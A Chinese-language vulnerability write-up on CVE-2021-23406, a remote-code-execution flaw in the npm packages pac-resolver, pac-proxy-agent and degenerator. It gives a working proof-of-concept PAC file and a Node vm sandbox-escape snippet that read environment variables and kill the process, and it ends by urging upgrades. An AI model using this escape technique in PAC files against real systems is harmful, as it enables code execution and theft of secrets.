周下载量超300万次的NPM包RCE漏洞分析(CVE-2021-23406)

漏洞简述

  • 昨天,国外安全研究员Tim Perry披露了一个NPM包 pac-resolver的高危漏洞,该漏洞可以让攻击者构建包含恶意代码的pac文件,而该文件中恶意代码可以在Node.js进程中运行。
  • 该漏洞被收录为CVE-2021-23406,影响版本为pac-resolver < 5.0.0
  • 同时该作者的另一个工具pac-proxy-agent也依赖了pac-resolver,同样存在漏洞风险。
  • 由于该漏洞真正的触发点在pac-resolver依赖的另一个包degenerator(同一作者)中,因此degenerator的版本也存在漏洞。
    • 依赖链为pac-proxy-agentpac-resolverdegenerator
    • 漏洞影响包和版本范围: pac-proxy-agent < 5.0.0 pac-resolver < 5.0.0 degenerator < 3.0.1
  • pac-resolver的周下载量超过三百万。漏洞威胁范围十分广泛,建议立即更新到最新发布版本。

漏洞复现

  • 安装小于5.0.0版本的任意pac-reolver
  • 在测试目录下执行以下命令:
    1
    2
    npm install pac-resolver@4.2.0

  • 然后运行以下poc脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    const pac = require('pac-resolver');

    // Should keep running forever (if not vulnerable):
    setInterval(() => {
    console.log("Still running");
    }, 1000);

    // Parsing a malicious PAC file unexpectedly executes unsandboxed code:
    pac(`
    // Real PAC config:
    function FindProxyForURL(url, host) {
    return "DIRECT";
    }

    // But also run arbitrary code:
    var f = this.constructor.constructor(\`
    // Running outside the sandbox:
    console.log('Read env vars:', process.env);
    console.log('!!! PAC file is running arbitrary code !!!');
    console.log('Can read & could exfiltrate env vars ^');
    console.log('Can kill parsing process, like so:');
    process.exit(100); // Kill the vulnerable process
    // etc etc
    \`);

    f();
    `);
  • 执行结果中可以看到,如果是正常的PAC文件,则应一直输出’still running’,由于pac中的代码被执行,则看到的是输出的现在的运行时环境变量,同时循环进程被提前终止。

漏洞分析

  • PAC,一个自动代理配置脚本,包含了很多使用 JavaScript 编写的规则,它能够决定网络流量走默认通道还是代理服务器通道,实际上他就是一段javascript脚本,类似如下结构:
    1
    2
    3
    function FindProxyForURL(url, host) {
    return "DIRECT";
    }
  • pac-resolver 包的主要功能则是解析用户指定的PAC脚本文件。
  • 查看pac-resolver的代码,在index.js中发现createPacResolver方法中,解析pac的功能主要在degenerator中实现

  • 查看 degenerator 模块的代码,degenerator.compile 中使用了一个nodejs核心库 vm,但是node官方文档中已经申明,vm模块不是一种安全的机制。


  • 在vm沙箱运行时,攻击者可以通过构建全局环境context,来完成vm逃逸。逃逸示例:
    1
    2
    3
    const vm = require("vm");
    const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
    console.log(env);
  • 实际上在mongo-express RCE(CVE-2019-10758)漏洞中,就是配合vm模块的逃逸来完成的,和此处的漏洞原理相似。

总结

  • pac-proxy-agentpac-resolverdegenerator 都已经在2021-7-12 发布了漏洞修补后的版本。但是通过npmjs的数据可以看到,pac-resolver存在漏洞的旧版本依然有很高的下载量。

  • 如果使用了上述提到的三个包 ,并且使用的PAC文件来自不受信的来源或者网络代理配置,均存在代码执行的风险。

参考内容

[1] https://arstechnica.com/information-technology/2021/09/npm-package-with-3-million-weekly-downloads-had-a-severe-vulnerability/

[2]https://www.kitsch.live/2020/11/23/nodejs-vm沙箱逃逸/

[3]https://nvd.nist.gov/vuln/detail/CVE-2021-23406